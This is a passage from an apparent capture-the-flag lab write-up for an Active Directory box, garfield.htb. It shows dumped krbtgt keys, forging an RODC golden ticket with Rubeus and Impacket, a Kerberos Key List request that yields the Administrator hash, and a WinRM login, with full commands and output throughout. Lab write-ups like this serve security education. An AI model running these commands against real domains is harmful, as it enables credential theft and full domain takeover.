      aes128_hmac       (4096) : 124c0fd09f5fa4efca8d9f1da91369e5
      des_cbc_md5       (4096) : d540fe6192b9ecfe

 * NTLM-Strong-NTOWF
    Random Value : f4b51c2c0d006172304e31dbc6e0de6b

The AES key for this account is d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240. I could also get this using secretsdump.py from my host through the Chisel tunnel.

Back on DC01, I can use this key to forge an RODC golden ticket with Rubeus.exe. This TGT for Administrator is signed by the RODC’s krbtgt (krbtgt_8245):

PS C:\programdata> .\Rubeus.exe golden /rodcNumber:8245 /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357 /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : GARFIELD.HTB (GARFIELD)
[*] SID            : S-1-5-21-2502726253-3859040611-225969357
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ServiceKey     : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : garfield.htb

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'Administrator@garfield.htb'

[*] AuthTime       : 11/5/2026 3:44:07 AM
[*] StartTime      : 11/5/2026 3:44:07 AM
[*] EndTime        : 11/5/2026 1:44:07 PM
[*] RenewTill      : 11/12/2026 3:44:07 AM

[*] base64(ticket.kirbi):

      doIFkjCCBY6gAwIBBaEDAgE...[snip]...gwFhsGa3JidGd0GwxnYXJmaWVsZC5odGI=

A Kerberos Key List request is a feature built for RODCs. When a full DC receives a TGS request for krbtgt with a TGT signed by an RODC’s krbtgt key, and the user is allowed to be cached on that RODC, it returns the user’s long-term keys in the reply so the RODC can cache them. In this case, there’s no real RODC making the request. I forged the TGT myself with the krbtgt_8245 key, so DC01 sends the Administrator’s keys to me.

I’ll use that ticket to make a Key List request (/keyList) to DC01, which returns the Administrator’s hash:

PS C:\programdata> .\Rubeus.exe asktgs /keyList /service:krbtgt/garfield.htb /dc:DC01.garfield.htb /ticket:doIFkjCCBY6gAwIBBaEDAgEW...[snip]...JidGd0GwxnYXJmaWVsZC5odGI= /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building KeyList TGS-REQ request for: 'Administrator'
[*] Using domain controller: DC01.garfield.htb (fe80::bae5:7a15:876d:83d8%7)
[+] TGS request successful!
[*] base64(ticket.kirbi):

      doIFnjCCBZqgAwIBBa...[snip]...VMRC5IVEI=

  ServiceName              :  krbtgt/GARFIELD.HTB
  ServiceRealm             :  GARFIELD.HTB
  UserName                 :  Administrator (NT_PRINCIPAL)
  UserRealm                :  GARFIELD.HTB
  StartTime                :  11/5/2026 3:45:33 AM
  EndTime                  :  11/5/2026 1:44:07 PM
  RenewTill                :  1/1/0001 12:00:00 AM
  Flags                    :  name_canonicalize, pre_authent
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  ZrTIsOmf1xW8dRQPtmbYU7QUff9uwiyaqf0iPXvvFO8=
  Password Hash            :  EE238F6DEBC752010428F20875B092D5

This gives the same Administrator NTLM as the other method.

RODC Golden Ticket from Linux

From Linux, I can use the krbtgt_8245 AES key to sign a TGT as Administrator, but only with a yet-to-be-merged PR that adds support for the RODC number (interestingly this PR was created two days after Garfield launched):

oxdf@hacky$ ticketer.py -aesKey d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 -domain-sid S-1-5-21-2502726253-3859040611-225969357 -domain garfield.htb -rodcNo 8245 -user-id 500 Administrator
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies 

[*] RODC golden ticket mode: kvno will be encoded with RODC number 8245
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for garfield.htb/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncAsRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncASRepPart
[*] Saving ticket in Administrator.ccache

-rodcNo 8245 encodes the RODC number into the ticket’s key version so DC01 knows which krbtgt key to check it against.

This only works because Administrator is on the allow list and not on the deny groups for RODC replication. Now I can use that to log into DC01 and it will accept it (I will need an updated /etc/krb5.conf):

oxdf@hacky$ KRB5CCNAME=Administrator.ccache evil-winrm-py -i DC01.garfield.htb -k
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'DC01.garfield.htb:5985' as 'Administrator@GARFIELD.HTB'
evil-winrm-py PS C:\Users\Administrator\Documents>